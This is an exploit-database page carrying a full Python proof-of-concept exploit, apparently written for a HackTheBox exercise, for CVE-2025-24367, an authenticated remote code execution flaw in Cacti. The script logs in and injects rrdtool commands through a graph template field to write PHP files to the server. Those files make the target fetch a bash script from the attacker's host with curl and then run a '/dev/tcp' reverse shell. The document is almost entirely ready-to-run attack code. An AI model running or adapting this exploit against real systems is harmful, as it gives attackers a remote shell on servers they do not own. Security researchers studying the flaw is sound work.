4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
###########################################################
#                                                         #
# CVE-2025-24367 - Cacti Authenticated Graph Template RCE #
#         Created by TheCyberGeek @ HackTheBox            #
#             For educational purposes only               #    
#                                                         #
###########################################################

import argparse
import requests
import sys
import re
import time
import random
import string
import http.server
import os
import socketserver
import threading
from pathlib import Path
from urllib.parse import quote_plus
from bs4 import BeautifulSoup

SESSION = requests.Session()

"""
Custom HTTP logging class
"""
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        if args[1] == '200':
            print(f"[+] Got payload: {self.path}")
        else:
            pass

"""
Web server class with start and stop functionalities in working directory
"""
class BackgroundHTTPServer:
    def __init__(self, directory, port=80):
        self.directory = directory
        self.port = port
        self.httpd = None
        self.server_thread = None

    def start(self):
        os.chdir(self.directory)
        handler = CustomHTTPRequestHandler
        self.httpd = socketserver.TCPServer(("", self.port), handler)
        self.server_thread = threading.Thread(target=self.httpd.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()
        print(f"[+] Serving HTTP on port {self.port}")

    def stop(self):
        if self.httpd:
            self.httpd.shutdown()
            self.httpd.server_close()
            self.server_thread.join()
            print(f"[+] Stopped HTTP server on port {self.port}")

"""
Check if instance is Cacti
"""
def check_cacti(url: str) -> None:
    req = requests.get(url)
    if "Cacti" in req.text:
        print("[+] Cacti Instance Found!")
    else:
        print("[!] No Cacti Instance was found, exiting...")
        exit(1)
    
"""
Log into the Cacti instance
"""
def login(url: str, username: str, password: str, ip: str, port: int, proxy: dict | None) -> None:
    res = SESSION.get(url, proxies=proxy)
    match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', res.text)
    csrf_magic_token = match.group(1)
    data = {
        '__csrf_magic': csrf_magic_token,
        'action': 'login',
        'login_username': username,
        'login_password': password
    }
    req = SESSION.post(url + '/cacti/index.php', data=data, proxies=proxy)
    if 'You are now logged into' in req.text:
        print('[+] Login Successful!')
        return True
    else:
        print('[!] Login Failed :(')
        http_server.stop()
        exit(1)

"""
Write bash payload
"""
def write_payload(ip: str, port: int) -> None:
    with open("bash", "w") as f:
        f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1")
        f.close()

"""
Get the template ID required for exploitation (Unix - Logged In Users)
"""
def get_template_id(url: str, proxy: dict | None) -> int:
    graph_template_search = SESSION.get(url + '/cacti/graph_templates.php?filter=Unix - Logged in Users&rows=-1&has_graphs=false', proxies=proxy)
    soup = BeautifulSoup(graph_template_search.text, "html.parser")
    elem = soup.find("input", id=re.compile(r"chk_\d+"))

    if elem:
        template_id = int(elem["id"].split("_")[1])
        print(f"[+] Got graph ID: {template_id}")
    else:
        print("[!] Failed to get template ID")
        http_server.stop()
        exit(1)

    return template_id

"""
Trigger the payload in multiple requests
"""
def trigger_payload(url: str, ip: str, stage: str, template_id: int, proxy: dict | None) -> None:    
    # Edit graph template
    graph_template_page = SESSION.get(url + f'/cacti/graph_templates.php?action=template_edit&id={template_id}', proxies=proxy)
    match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', graph_template_page.text)
    csrf_magic_token = match.group(1)

    # Generate random filename
    get_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
    trigger_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"

    # Change payload based on stage
    if stage == "write payload":
        print(f"[i] Created PHP filename: {get_payload_filename}")
        right_axis_label = (
            f"XXX\n"
            f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
            f"RRA:AVERAGE:0.5:1:1200\n"
            f"graph {get_payload_filename} -s now -a CSV "
            f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\\x20{ip}/bash\\x20-o\\x20bash`;?>\n"
        )
    else:
        print(f"[i] Created PHP filename: {trigger_payload_filename}")
        right_axis_label = (
            f"XXX\n"
            f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
            f"RRA:AVERAGE:0.5:1:1200\n"
            f"graph {trigger_payload_filename} -s now -a CSV "
            f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`bash\\x20bash`;?>\n"
        )        

    data = {
        "__csrf_magic": csrf_magic_token,
        "name": "Unix - Logged in Users",
        "graph_template_id": template_id,
        "graph_template_graph_id": template_id,
        "save_component_template": "1",
        "title": "|host_description| - Logged in Users",
        "vertical_label": "percent",
        "image_format_id": "3",
        "height": "200",
        "width": "700",
        "base_value": "1000",
        "slope_mode": "on",
        "auto_scale": "on",
        "auto_scale_opts": "2",
        "auto_scale_rigid": "on",
        "upper_limit": "100",
        "lower_limit": "0",
        "unit_value": "",
        "unit_exponent_value": "",
        "unit_length": "",
        "right_axis": "",
        "right_axis_label": right_axis_label,
        "right_axis_format": "0",
        "right_axis_formatter": "0",
        "left_axis_formatter": "0",
        "auto_padding": "on",
        "tab_width": "30",
        "legend_position": "0",
        "legend_direction": "0",
        "rrdtool_version": "1.7.2",
        "action": "save"
    }

    # Update the template
    get_file = SESSION.post(url + '/cacti/graph_templates.php?header=false', data=data, allow_redirects=True, proxies=proxy)

    # Trigger execution
    trigger_write = SESSION.get(url + f'/cacti/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')

    # Get payloads
    try:
        if stage == "write payload":
            res = SESSION.get(url + f'/cacti/{get_payload_filename}')
        else:
            res = SESSION.get(url + f'/cacti/{trigger_payload_filename}', timeout=2)
    except requests.Timeout:
        print("[+] Hit timeout, looks good for shell, check your listener!")
        return

    if "File not found" in res.text:
        print("[!] Exploit failed to execute!")
        http_server.stop()
        exit(1)      

"""
Main function to parse args and trigger execution
"""
if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='CVE-2025-24367 - Cacti Authenticated Graph Template RCE')
    parser.add_argument('-u', '--user', type=str, required=True, help='Username for login')
    parser.add_argument('-p', '--password', type=str, required=True, help='Password for login')
    parser.add_argument('-i', '--ip', type=str, required=True, help='IP address for reverse shell')
    parser.add_argument('-l', '--port', type=str, required=True, help='Port number for reverse shell')
    parser.add_argument('-url', '--url', type=str, required=True, help='Base URL of the application')
    parser.add_argument('--proxy', action='store_true', help='Enable proxy usage (default: http://127.0.0.1:8080)')
    args = parser.parse_args()
    proxy = {'http': 'http://127.0.0.1:8080'} if args.proxy else None
    check_cacti(args.url)
    http_server = BackgroundHTTPServer(os.getcwd(), 80)
    http_server.start()  
    login(args.url, args.user, args.password, args.ip, args.port, proxy)
    template_id = get_template_id(args.url, proxy)
    write_payload(args.ip, args.port)
    trigger_payload(args.url, args.ip, "write payload", template_id, proxy)
    trigger_payload(args.url, args.ip, "trigger payload", template_id, proxy)
    http_server.stop()
    Path("bash").unlink(missing_ok=True)